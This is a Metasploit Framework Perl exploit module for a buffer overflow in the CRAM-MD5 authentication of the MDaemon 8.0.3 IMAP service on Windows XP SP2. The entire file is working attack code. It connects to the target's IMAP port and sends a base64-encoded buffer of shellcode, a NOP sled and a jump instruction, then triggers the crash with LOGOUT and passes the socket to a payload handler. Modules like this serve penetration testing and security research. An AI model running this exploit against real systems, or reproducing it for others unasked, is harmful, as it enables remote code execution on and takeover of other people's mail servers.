#
#

package Msf::Exploit::mdaemon_imap;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
 'Name'    => 'Mdaemon 8.0.3 IMAD CRAM-MD5 Authentication Overflow',
 'Version'  => '$Revision: 1.1 $',
 'Authors' => [ 'anonymous', ],
 'Arch'    => [ 'x86' ],
 'OS'      => [ 'win32'],
 'Priv'    => 1,
 'AutoOpts'  =>
   {
     'EXITFUNC'  => 'process',
   },
 'UserOpts'  =>
   {
     'RHOST' => [1, 'ADDR', 'The target address'],
     'RPORT' => [1, 'PORT', 'The target port', 143],
   },
 'Payload' =>
   {
     'Prepend'   => "\x81\xc4\x1f\xff\xff\xff\x44", # make stack happy
     'Space'     => 500,
     'BadChars'  => "\x00",
   },
 'Description'  => Pex::Text::Freeform(qq{
   This module exploits a buffer overflow in the CRAM-MD5 authentication of the
   MDaemon IMAP service.
   }),
 'Refs'  =>
   [
     ['OSVDB', 11838],
     ['BID', 11675],
   ],
 'Targets' =>
   [
     ['MDaemon IMAP 8.0.3 Windows XP SP2'],
   ],
  'Keys' => ['mdaemon'],
};

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

 return($self);
}

sub Exploit {
 my $self = shift;

 my $targetHost  = $self->GetVar('RHOST');
 my $targetPort  = $self->GetVar('RPORT');
 my $targetIndex = $self->GetVar('TARGET');
 my $encodedPayload = $self->GetVar('EncodedPayload');
 my $shellcode   = $encodedPayload->Payload;
 my $target = $self->Targets->[$targetIndex];


 my $sock = Msf::Socket::Tcp->new(
   'PeerAddr' => $targetHost,
   'PeerPort' => $targetPort,
 );
 if($sock->IsError) {
   $self->PrintLine('Error creating socket: ' . $sock->GetError);
   return;
 }

 my $resp = $sock->Recv(-1);
 chomp($resp);
 $self->PrintLine('[*] Got Banner: ' . $resp);

 my $req = "a001 authenticate cram-md5\r\n";
 $sock->Send($req);
 $self->PrintLine('[*] CRAM-MD5 authentication method asked');

 $resp = $sock->Recv(-1);
 chomp($resp);
 $self->PrintLine('[*] Got CRAM-MD5 answer: ' . $resp);

 $req = "AAAA" . $shellcode . ("\x90" x 258) . "\xe9\x05\xfd\xff\xff";
 $req = Pex::Text::Base64Encode($req, '') . "\r\n";
 $sock->Send($req);
 $self->PrintLine('[*] CRAM-MD5 authentication with shellcode sent');

 $resp = $sock->Recv(-1);
 chomp($resp);
 $self->PrintLine('[*] Got authentication reply: ' . $resp);

 $req = "a002 LOGOUT\r\n";
 $sock->Send($req);
 $self->PrintLine('[*] Send LOGOUT to close the thread and trigger an exception');

 $resp = $sock->Recv(-1);
 chomp($resp);
 $self->PrintLine('[*] Got LOGOUT reply: ' . $resp);

 $self->PrintLine("[*] Overflow request sent, sleeping for one second");
 select(undef, undef, undef, 1);

 $self->Handler($sock);
 return;
}

1;